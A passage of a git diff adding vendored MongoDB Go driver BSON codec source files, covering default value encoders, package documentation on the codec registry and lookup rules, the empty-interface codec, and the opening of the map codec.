[]reflect.Type{tTime}, Received: val} + } + tt := val.Interface().(time.Time) + dt := primitive.NewDateTimeFromTime(tt) + return vw.WriteDateTime(int64(dt)) +} + +// ByteSliceEncodeValue is the ValueEncoderFunc for []byte. +// +// Deprecated: ByteSliceEncodeValue is not registered by default. Use ByteSliceCodec.EncodeValue instead. +func (dve DefaultValueEncoders) ByteSliceEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tByteSlice { + return ValueEncoderError{Name: "ByteSliceEncodeValue", Types: []reflect.Type{tByteSlice}, Received: val} + } + if val.IsNil() { + return vw.WriteNull() + } + return vw.WriteBinary(val.Interface().([]byte)) +} + +// MapEncodeValue is the ValueEncoderFunc for map[string]* types. +// +// Deprecated: MapEncodeValue is not registered by default. Use MapCodec.EncodeValue instead. +func (dve DefaultValueEncoders) MapEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Map || val.Type().Key().Kind() != reflect.String { + return ValueEncoderError{Name: "MapEncodeValue", Kinds: []reflect.Kind{reflect.Map}, Received: val} + } + + if val.IsNil() { + // If we have a nill map but we can't WriteNull, that means we're probably trying to encode + // to a TopLevel document. We can't currently tell if this is what actually happened, but if + // there's a deeper underlying problem, the error will also be returned from WriteDocument, + // so just continue. The operations on a map reflection value are valid, so we can call + // MapKeys within mapEncodeValue without a problem. + err := vw.WriteNull() + if err == nil { + return nil + } + } + + dw, err := vw.WriteDocument() + if err != nil { + return err + } + + return dve.mapEncodeValue(ec, dw, val, nil) +} + +// mapEncodeValue handles encoding of the values of a map. The collisionFn returns +// true if the provided key exists, this is mainly used for inline maps in the +// struct codec. +func (dve DefaultValueEncoders) mapEncodeValue(ec EncodeContext, dw bsonrw.DocumentWriter, val reflect.Value, collisionFn func(string) bool) error { + + elemType := val.Type().Elem() + encoder, err := ec.LookupEncoder(elemType) + if err != nil && elemType.Kind() != reflect.Interface { + return err + } + + keys := val.MapKeys() + for _, key := range keys { + if collisionFn != nil && collisionFn(key.String()) { + return fmt.Errorf("Key %s of inlined map conflicts with a struct field name", key) + } + + currEncoder, currVal, lookupErr := dve.lookupElementEncoder(ec, encoder, val.MapIndex(key)) + if lookupErr != nil && !errors.Is(lookupErr, errInvalidValue) { + return lookupErr + } + + vw, err := dw.WriteDocumentElement(key.String()) + if err != nil { + return err + } + + if errors.Is(lookupErr, errInvalidValue) { + err = vw.WriteNull() + if err != nil { + return err + } + continue + } + + err = currEncoder.EncodeValue(ec, vw, currVal) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() +} + +// ArrayEncodeValue is the ValueEncoderFunc for array types. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) ArrayEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Array { + return ValueEncoderError{Name: "ArrayEncodeValue", Kinds: []reflect.Kind{reflect.Array}, Received: val} + } + + // If we have a []primitive.E we want to treat it as a document instead of as an array. + if val.Type().Elem() == tE { + dw, err := vw.WriteDocument() + if err != nil { + return err + } + + for idx := 0; idx < val.Len(); idx++ { + e := val.Index(idx).Interface().(primitive.E) + err = encodeElement(ec, dw, e) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() + } + + // If we have a []byte we want to treat it as a binary instead of as an array. + if val.Type().Elem() == tByte { + var byteSlice []byte + for idx := 0; idx < val.Len(); idx++ { + byteSlice = append(byteSlice, val.Index(idx).Interface().(byte)) + } + return vw.WriteBinary(byteSlice) + } + + aw, err := vw.WriteArray() + if err != nil { + return err + } + + elemType := val.Type().Elem() + encoder, err := ec.LookupEncoder(elemType) + if err != nil && elemType.Kind() != reflect.Interface { + return err + } + + for idx := 0; idx < val.Len(); idx++ { + currEncoder, currVal, lookupErr := dve.lookupElementEncoder(ec, encoder, val.Index(idx)) + if lookupErr != nil && !errors.Is(lookupErr, errInvalidValue) { + return lookupErr + } + + vw, err := aw.WriteArrayElement() + if err != nil { + return err + } + + if errors.Is(lookupErr, errInvalidValue) { + err = vw.WriteNull() + if err != nil { + return err + } + continue + } + + err = currEncoder.EncodeValue(ec, vw, currVal) + if err != nil { + return err + } + } + return aw.WriteArrayEnd() +} + +// SliceEncodeValue is the ValueEncoderFunc for slice types. +// +// Deprecated: SliceEncodeValue is not registered by default. Use SliceCodec.EncodeValue instead. +func (dve DefaultValueEncoders) SliceEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Slice { + return ValueEncoderError{Name: "SliceEncodeValue", Kinds: []reflect.Kind{reflect.Slice}, Received: val} + } + + if val.IsNil() { + return vw.WriteNull() + } + + // If we have a []primitive.E we want to treat it as a document instead of as an array. + if val.Type().ConvertibleTo(tD) { + d := val.Convert(tD).Interface().(primitive.D) + + dw, err := vw.WriteDocument() + if err != nil { + return err + } + + for _, e := range d { + err = encodeElement(ec, dw, e) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() + } + + aw, err := vw.WriteArray() + if err != nil { + return err + } + + elemType := val.Type().Elem() + encoder, err := ec.LookupEncoder(elemType) + if err != nil && elemType.Kind() != reflect.Interface { + return err + } + + for idx := 0; idx < val.Len(); idx++ { + currEncoder, currVal, lookupErr := dve.lookupElementEncoder(ec, encoder, val.Index(idx)) + if lookupErr != nil && !errors.Is(lookupErr, errInvalidValue) { + return lookupErr + } + + vw, err := aw.WriteArrayElement() + if err != nil { + return err + } + + if errors.Is(lookupErr, errInvalidValue) { + err = vw.WriteNull() + if err != nil { + return err + } + continue + } + + err = currEncoder.EncodeValue(ec, vw, currVal) + if err != nil { + return err + } + } + return aw.WriteArrayEnd() +} + +func (dve DefaultValueEncoders) lookupElementEncoder(ec EncodeContext, origEncoder ValueEncoder, currVal reflect.Value) (ValueEncoder, reflect.Value, error) { + if origEncoder != nil || (currVal.Kind() != reflect.Interface) { + return origEncoder, currVal, nil + } + currVal = currVal.Elem() + if !currVal.IsValid() { + return nil, currVal, errInvalidValue + } + currEncoder, err := ec.LookupEncoder(currVal.Type()) + + return currEncoder, currVal, err +} + +// EmptyInterfaceEncodeValue is the ValueEncoderFunc for interface{}. +// +// Deprecated: EmptyInterfaceEncodeValue is not registered by default. Use EmptyInterfaceCodec.EncodeValue instead. +func (dve DefaultValueEncoders) EmptyInterfaceEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tEmpty { + return ValueEncoderError{Name: "EmptyInterfaceEncodeValue", Types: []reflect.Type{tEmpty}, Received: val} + } + + if val.IsNil() { + return vw.WriteNull() + } + encoder, err := ec.LookupEncoder(val.Elem().Type()) + if err != nil { + return err + } + + return encoder.EncodeValue(ec, vw, val.Elem()) +} + +// ValueMarshalerEncodeValue is the ValueEncoderFunc for ValueMarshaler implementations. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) ValueMarshalerEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + // Either val or a pointer to val must implement ValueMarshaler + switch { + case !val.IsValid(): + return ValueEncoderError{Name: "ValueMarshalerEncodeValue", Types: []reflect.Type{tValueMarshaler}, Received: val} + case val.Type().Implements(tValueMarshaler): + // If ValueMarshaler is implemented on a concrete type, make sure that val isn't a nil pointer + if isImplementationNil(val, tValueMarshaler) { + return vw.WriteNull() + } + case reflect.PtrTo(val.Type()).Implements(tValueMarshaler) && val.CanAddr(): + val = val.Addr() + default: + return ValueEncoderError{Name: "ValueMarshalerEncodeValue", Types: []reflect.Type{tValueMarshaler}, Received: val} + } + + m, ok := val.Interface().(ValueMarshaler) + if !ok { + return vw.WriteNull() + } + t, data, err := m.MarshalBSONValue() + if err != nil { + return err + } + return bsonrw.Copier{}.CopyValueFromBytes(vw, t, data) +} + +// MarshalerEncodeValue is the ValueEncoderFunc for Marshaler implementations. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) MarshalerEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + // Either val or a pointer to val must implement Marshaler + switch { + case !val.IsValid(): + return ValueEncoderError{Name: "MarshalerEncodeValue", Types: []reflect.Type{tMarshaler}, Received: val} + case val.Type().Implements(tMarshaler): + // If Marshaler is implemented on a concrete type, make sure that val isn't a nil pointer + if isImplementationNil(val, tMarshaler) { + return vw.WriteNull() + } + case reflect.PtrTo(val.Type()).Implements(tMarshaler) && val.CanAddr(): + val = val.Addr() + default: + return ValueEncoderError{Name: "MarshalerEncodeValue", Types: []reflect.Type{tMarshaler}, Received: val} + } + + m, ok := val.Interface().(Marshaler) + if !ok { + return vw.WriteNull() + } + data, err := m.MarshalBSON() + if err != nil { + return err + } + return bsonrw.Copier{}.CopyValueFromBytes(vw, bsontype.EmbeddedDocument, data) +} + +// ProxyEncodeValue is the ValueEncoderFunc for Proxy implementations. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) ProxyEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + // Either val or a pointer to val must implement Proxy + switch { + case !val.IsValid(): + return ValueEncoderError{Name: "ProxyEncodeValue", Types: []reflect.Type{tProxy}, Received: val} + case val.Type().Implements(tProxy): + // If Proxy is implemented on a concrete type, make sure that val isn't a nil pointer + if isImplementationNil(val, tProxy) { + return vw.WriteNull() + } + case reflect.PtrTo(val.Type()).Implements(tProxy) && val.CanAddr(): + val = val.Addr() + default: + return ValueEncoderError{Name: "ProxyEncodeValue", Types: []reflect.Type{tProxy}, Received: val} + } + + m, ok := val.Interface().(Proxy) + if !ok { + return vw.WriteNull() + } + v, err := m.ProxyBSON() + if err != nil { + return err + } + if v == nil { + encoder, err := ec.LookupEncoder(nil) + if err != nil { + return err + } + return encoder.EncodeValue(ec, vw, reflect.ValueOf(nil)) + } + vv := reflect.ValueOf(v) + switch vv.Kind() { + case reflect.Ptr, reflect.Interface: + vv = vv.Elem() + } + encoder, err := ec.LookupEncoder(vv.Type()) + if err != nil { + return err + } + return encoder.EncodeValue(ec, vw, vv) +} + +// JavaScriptEncodeValue is the ValueEncoderFunc for the primitive.JavaScript type. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) JavaScriptEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tJavaScript { + return ValueEncoderError{Name: "JavaScriptEncodeValue", Types: []reflect.Type{tJavaScript}, Received: val} + } + + return vw.WriteJavascript(val.String()) +} + +// SymbolEncodeValue is the ValueEncoderFunc for the primitive.Symbol type. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) SymbolEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tSymbol { + return ValueEncoderError{Name: "SymbolEncodeValue", Types: []reflect.Type{tSymbol}, Received: val} + } + + return vw.WriteSymbol(val.String()) +} + +// BinaryEncodeValue is the ValueEncoderFunc for Binary. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) BinaryEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tBinary { + return ValueEncoderError{Name: "BinaryEncodeValue", Types: []reflect.Type{tBinary}, Received: val} + } + b := val.Interface().(primitive.Binary) + + return vw.WriteBinaryWithSubtype(b.Data, b.Subtype) +} + +// UndefinedEncodeValue is the ValueEncoderFunc for Undefined. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) UndefinedEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tUndefined { + return ValueEncoderError{Name: "UndefinedEncodeValue", Types: []reflect.Type{tUndefined}, Received: val} + } + + return vw.WriteUndefined() +} + +// DateTimeEncodeValue is the ValueEncoderFunc for DateTime. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) DateTimeEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tDateTime { + return ValueEncoderError{Name: "DateTimeEncodeValue", Types: []reflect.Type{tDateTime}, Received: val} + } + + return vw.WriteDateTime(val.Int()) +} + +// NullEncodeValue is the ValueEncoderFunc for Null. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) NullEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tNull { + return ValueEncoderError{Name: "NullEncodeValue", Types: []reflect.Type{tNull}, Received: val} + } + + return vw.WriteNull() +} + +// RegexEncodeValue is the ValueEncoderFunc for Regex. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) RegexEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tRegex { + return ValueEncoderError{Name: "RegexEncodeValue", Types: []reflect.Type{tRegex}, Received: val} + } + + regex := val.Interface().(primitive.Regex) + + return vw.WriteRegex(regex.Pattern, regex.Options) +} + +// DBPointerEncodeValue is the ValueEncoderFunc for DBPointer. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) DBPointerEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tDBPointer { + return ValueEncoderError{Name: "DBPointerEncodeValue", Types: []reflect.Type{tDBPointer}, Received: val} + } + + dbp := val.Interface().(primitive.DBPointer) + + return vw.WriteDBPointer(dbp.DB, dbp.Pointer) +} + +// TimestampEncodeValue is the ValueEncoderFunc for Timestamp. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) TimestampEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tTimestamp { + return ValueEncoderError{Name: "TimestampEncodeValue", Types: []reflect.Type{tTimestamp}, Received: val} + } + + ts := val.Interface().(primitive.Timestamp) + + return vw.WriteTimestamp(ts.T, ts.I) +} + +// MinKeyEncodeValue is the ValueEncoderFunc for MinKey. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) MinKeyEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tMinKey { + return ValueEncoderError{Name: "MinKeyEncodeValue", Types: []reflect.Type{tMinKey}, Received: val} + } + + return vw.WriteMinKey() +} + +// MaxKeyEncodeValue is the ValueEncoderFunc for MaxKey. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) MaxKeyEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tMaxKey { + return ValueEncoderError{Name: "MaxKeyEncodeValue", Types: []reflect.Type{tMaxKey}, Received: val} + } + + return vw.WriteMaxKey() +} + +// CoreDocumentEncodeValue is the ValueEncoderFunc for bsoncore.Document. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (DefaultValueEncoders) CoreDocumentEncodeValue(_ EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tCoreDocument { + return ValueEncoderError{Name: "CoreDocumentEncodeValue", Types: []reflect.Type{tCoreDocument}, Received: val} + } + + cdoc := val.Interface().(bsoncore.Document) + + return bsonrw.Copier{}.CopyDocumentFromBytes(vw, cdoc) +} + +// CodeWithScopeEncodeValue is the ValueEncoderFunc for CodeWithScope. +// +// Deprecated: Use [go.mongodb.org/mongo-driver/bson.NewRegistry] to get a registry with all default +// value encoders registered. +func (dve DefaultValueEncoders) CodeWithScopeEncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tCodeWithScope { + return ValueEncoderError{Name: "CodeWithScopeEncodeValue", Types: []reflect.Type{tCodeWithScope}, Received: val} + } + + cws := val.Interface().(primitive.CodeWithScope) + + dw, err := vw.WriteCodeWithScope(string(cws.Code)) + if err != nil { + return err + } + + sw := sliceWriterPool.Get().(*bsonrw.SliceWriter) + defer sliceWriterPool.Put(sw) + *sw = (*sw)[:0] + + scopeVW := bvwPool.Get(sw) + defer bvwPool.Put(scopeVW) + + encoder, err := ec.LookupEncoder(reflect.TypeOf(cws.Scope)) + if err != nil { + return err + } + + err = encoder.EncodeValue(ec, scopeVW, reflect.ValueOf(cws.Scope)) + if err != nil { + return err + } + + err = bsonrw.Copier{}.CopyBytesToDocumentWriter(dw, *sw) + if err != nil { + return err + } + return dw.WriteDocumentEnd() +} + +// isImplementationNil returns if val is a nil pointer and inter is implemented on a concrete type +func isImplementationNil(val reflect.Value, inter reflect.Type) bool { + vt := val.Type() + for vt.Kind() == reflect.Ptr { + vt = vt.Elem() + } + return vt.Implements(inter) && val.Kind() == reflect.Ptr && val.IsNil() +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/doc.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/doc.go new file mode 100644 index 00000000..4613e5a1 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/doc.go @@ -0,0 +1,95 @@ +// Copyright (C) MongoDB, Inc. 2022-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +// Package bsoncodec provides a system for encoding values to BSON representations and decoding +// values from BSON representations. This package considers both binary BSON and ExtendedJSON as +// BSON representations. The types in this package enable a flexible system for handling this +// encoding and decoding. +// +// The codec system is composed of two parts: +// +// 1) ValueEncoders and ValueDecoders that handle encoding and decoding Go values to and from BSON +// representations. +// +// 2) A Registry that holds these ValueEncoders and ValueDecoders and provides methods for +// retrieving them. +// +// # ValueEncoders and ValueDecoders +// +// The ValueEncoder interface is implemented by types that can encode a provided Go type to BSON. +// The value to encode is provided as a reflect.Value and a bsonrw.ValueWriter is used within the +// EncodeValue method to actually create the BSON representation. For convenience, ValueEncoderFunc +// is provided to allow use of a function with the correct signature as a ValueEncoder. An +// EncodeContext instance is provided to allow implementations to lookup further ValueEncoders and +// to provide configuration information. +// +// The ValueDecoder interface is the inverse of the ValueEncoder. Implementations should ensure that +// the value they receive is settable. Similar to ValueEncoderFunc, ValueDecoderFunc is provided to +// allow the use of a function with the correct signature as a ValueDecoder. A DecodeContext +// instance is provided and serves similar functionality to the EncodeContext. +// +// # Registry +// +// A Registry is a store for ValueEncoders, ValueDecoders, and a type map. See the Registry type +// documentation for examples of registering various custom encoders and decoders. A Registry can +// have three main types of codecs: +// +// 1. Type encoders/decoders - These can be registered using the RegisterTypeEncoder and +// RegisterTypeDecoder methods. The registered codec will be invoked when encoding/decoding a value +// whose type matches the registered type exactly. +// If the registered type is an interface, the codec will be invoked when encoding or decoding +// values whose type is the interface, but not for values with concrete types that implement the +// interface. +// +// 2. Hook encoders/decoders - These can be registered using the RegisterHookEncoder and +// RegisterHookDecoder methods. These methods only accept interface types and the registered codecs +// will be invoked when encoding or decoding values whose types implement the interface. An example +// of a hook defined by the driver is bson.Marshaler. The driver will call the MarshalBSON method +// for any value whose type implements bson.Marshaler, regardless of the value's concrete type. +// +// 3. Type map entries - This can be used to associate a BSON type with a Go type. These type +// associations are used when decoding into a bson.D/bson.M or a struct field of type interface{}. +// For example, by default, BSON int32 and int64 values decode as Go int32 and int64 instances, +// respectively, when decoding into a bson.D. The following code would change the behavior so these +// values decode as Go int instances instead: +// +// intType := reflect.TypeOf(int(0)) +// registry.RegisterTypeMapEntry(bsontype.Int32, intType).RegisterTypeMapEntry(bsontype.Int64, intType) +// +// 4. Kind encoder/decoders - These can be registered using the RegisterDefaultEncoder and +// RegisterDefaultDecoder methods. The registered codec will be invoked when encoding or decoding +// values whose reflect.Kind matches the registered reflect.Kind as long as the value's type doesn't +// match a registered type or hook encoder/decoder first. These methods should be used to change the +// behavior for all values for a specific kind. +// +// # Registry Lookup Procedure +// +// When looking up an encoder in a Registry, the precedence rules are as follows: +// +// 1. A type encoder registered for the exact type of the value. +// +// 2. A hook encoder registered for an interface that is implemented by the value or by a pointer to +// the value. If the value matches multiple hooks (e.g. the type implements bsoncodec.Marshaler and +// bsoncodec.ValueMarshaler), the first one registered will be selected. Note that registries +// constructed using bson.NewRegistry have driver-defined hooks registered for the +// bsoncodec.Marshaler, bsoncodec.ValueMarshaler, and bsoncodec.Proxy interfaces, so those will take +// precedence over any new hooks. +// +// 3. A kind encoder registered for the value's kind. +// +// If all of these lookups fail to find an encoder, an error of type ErrNoEncoder is returned. The +// same precedence rules apply for decoders, with the exception that an error of type ErrNoDecoder +// will be returned if no decoder is found. +// +// # DefaultValueEncoders and DefaultValueDecoders +// +// The DefaultValueEncoders and DefaultValueDecoders types provide a full set of ValueEncoders and +// ValueDecoders for handling a wide range of Go types, including all of the types within the +// primitive package. To make registering these codecs easier, a helper method on each type is +// provided. For the DefaultValueEncoders type the method is called RegisterDefaultEncoders and for +// the DefaultValueDecoders type the method is called RegisterDefaultDecoders, this method also +// handles registering type map entries for each BSON type. +package bsoncodec diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/empty_interface_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/empty_interface_codec.go new file mode 100644 index 00000000..098368f0 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/empty_interface_codec.go @@ -0,0 +1,173 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" + "go.mongodb.org/mongo-driver/bson/primitive" +) + +// EmptyInterfaceCodec is the Codec used for interface{} values. +// +// Deprecated: EmptyInterfaceCodec will not be directly configurable in Go +// Driver 2.0. To configure the empty interface encode and decode behavior, use +// the configuration methods on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the empty interface +// encode and decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to unmarshal BSON binary field +// values as a Go byte slice, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// BinaryAsSlice: true, +// }) +// +// See the deprecation notice for each field in EmptyInterfaceCodec for the +// corresponding settings. +type EmptyInterfaceCodec struct { + // DecodeBinaryAsSlice causes DecodeValue to unmarshal BSON binary field values that are the + // "Generic" or "Old" BSON binary subtype as a Go byte slice instead of a primitive.Binary. + // + // Deprecated: Use bson.Decoder.BinaryAsSlice or options.BSONOptions.BinaryAsSlice instead. + DecodeBinaryAsSlice bool +} + +var ( + defaultEmptyInterfaceCodec = NewEmptyInterfaceCodec() + + // Assert that defaultEmptyInterfaceCodec satisfies the typeDecoder interface, which allows it + // to be used by collection type decoders (e.g. map, slice, etc) to set individual values in a + // collection. + _ typeDecoder = defaultEmptyInterfaceCodec +) + +// NewEmptyInterfaceCodec returns a EmptyInterfaceCodec with options opts. +// +// Deprecated: NewEmptyInterfaceCodec will not be available in Go Driver 2.0. See +// [EmptyInterfaceCodec] for more details. +func NewEmptyInterfaceCodec(opts ...*bsonoptions.EmptyInterfaceCodecOptions) *EmptyInterfaceCodec { + interfaceOpt := bsonoptions.MergeEmptyInterfaceCodecOptions(opts...) + + codec := EmptyInterfaceCodec{} + if interfaceOpt.DecodeBinaryAsSlice != nil { + codec.DecodeBinaryAsSlice = *interfaceOpt.DecodeBinaryAsSlice + } + return &codec +} + +// EncodeValue is the ValueEncoderFunc for interface{}. +func (eic EmptyInterfaceCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Type() != tEmpty { + return ValueEncoderError{Name: "EmptyInterfaceEncodeValue", Types: []reflect.Type{tEmpty}, Received: val} + } + + if val.IsNil() { + return vw.WriteNull() + } + encoder, err := ec.LookupEncoder(val.Elem().Type()) + if err != nil { + return err + } + + return encoder.EncodeValue(ec, vw, val.Elem()) +} + +func (eic EmptyInterfaceCodec) getEmptyInterfaceDecodeType(dc DecodeContext, valueType bsontype.Type) (reflect.Type, error) { + isDocument := valueType == bsontype.Type(0) || valueType == bsontype.EmbeddedDocument + if isDocument { + if dc.defaultDocumentType != nil { + // If the bsontype is an embedded document and the DocumentType is set on the DecodeContext, then return + // that type. + return dc.defaultDocumentType, nil + } + if dc.Ancestor != nil { + // Using ancestor information rather than looking up the type map entry forces consistent decoding. + // If we're decoding into a bson.D, subdocuments should also be decoded as bson.D, even if a type map entry + // has been registered. + return dc.Ancestor, nil + } + } + + rtype, err := dc.LookupTypeMapEntry(valueType) + if err == nil { + return rtype, nil + } + + if isDocument { + // For documents, fallback to looking up a type map entry for bsontype.Type(0) or bsontype.EmbeddedDocument, + // depending on the original valueType. + var lookupType bsontype.Type + switch valueType { + case bsontype.Type(0): + lookupType = bsontype.EmbeddedDocument + case bsontype.EmbeddedDocument: + lookupType = bsontype.Type(0) + } + + rtype, err = dc.LookupTypeMapEntry(lookupType) + if err == nil { + return rtype, nil + } + } + + return nil, err +} + +func (eic EmptyInterfaceCodec) decodeType(dc DecodeContext, vr bsonrw.ValueReader, t reflect.Type) (reflect.Value, error) { + if t != tEmpty { + return emptyValue, ValueDecoderError{Name: "EmptyInterfaceDecodeValue", Types: []reflect.Type{tEmpty}, Received: reflect.Zero(t)} + } + + rtype, err := eic.getEmptyInterfaceDecodeType(dc, vr.Type()) + if err != nil { + switch vr.Type() { + case bsontype.Null: + return reflect.Zero(t), vr.ReadNull() + default: + return emptyValue, err + } + } + + decoder, err := dc.LookupDecoder(rtype) + if err != nil { + return emptyValue, err + } + + elem, err := decodeTypeOrValue(decoder, dc, vr, rtype) + if err != nil { + return emptyValue, err + } + + if (eic.DecodeBinaryAsSlice || dc.binaryAsSlice) && rtype == tBinary { + binElem := elem.Interface().(primitive.Binary) + if binElem.Subtype == bsontype.BinaryGeneric || binElem.Subtype == bsontype.BinaryBinaryOld { + elem = reflect.ValueOf(binElem.Data) + } + } + + return elem, nil +} + +// DecodeValue is the ValueDecoderFunc for interface{}. +func (eic EmptyInterfaceCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Type() != tEmpty { + return ValueDecoderError{Name: "EmptyInterfaceDecodeValue", Types: []reflect.Type{tEmpty}, Received: val} + } + + elem, err := eic.decodeType(dc, vr, val.Type()) + if err != nil { + return err + } + + val.Set(elem) + return nil +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/map_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/map_codec.go new file mode 100644 index 00000000..d7e00ffa --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/map_codec.go @@ -0,0 +1,343 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "encoding" + "errors" + "fmt" + "reflect" + "strconv" + + "go.mongodb.org/mongo-driver/bson/bsonoptions" + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +var defaultMapCodec = NewMapCodec() + +// MapCodec is the Codec used for map values. +// +// Deprecated: MapCodec will not be directly configurable in Go Driver 2.0. To +// configure the map encode and decode behavior, use the configuration methods +// on a [go.mongodb.org/mongo-driver/bson.Encoder] or +// [go.mongodb.org/mongo-driver/bson.Decoder]. To configure the map encode and +// decode behavior for a mongo.Client, use +// [go.mongodb.org/mongo-driver/mongo/options.ClientOptions.SetBSONOptions]. +// +// For example, to configure a mongo.Client to marshal nil Go maps as empty BSON +// documents, use: +// +// opt := options.Client().SetBSONOptions(&options.BSONOptions{ +// NilMapAsEmpty: true, +// }) +// +// See the deprecation notice for each field in MapCodec for the corresponding +// settings. +type MapCodec struct { + // DecodeZerosMap causes DecodeValue to delete any existing values from Go maps in the destination + // value passed to Decode before unmarshaling BSON documents into them. + // + // Deprecated: Use bson.Decoder.ZeroMaps or options.BSONOptions.ZeroMaps instead. + DecodeZerosMap bool + + // EncodeNilAsEmpty causes EncodeValue to marshal nil Go maps as empty BSON documents 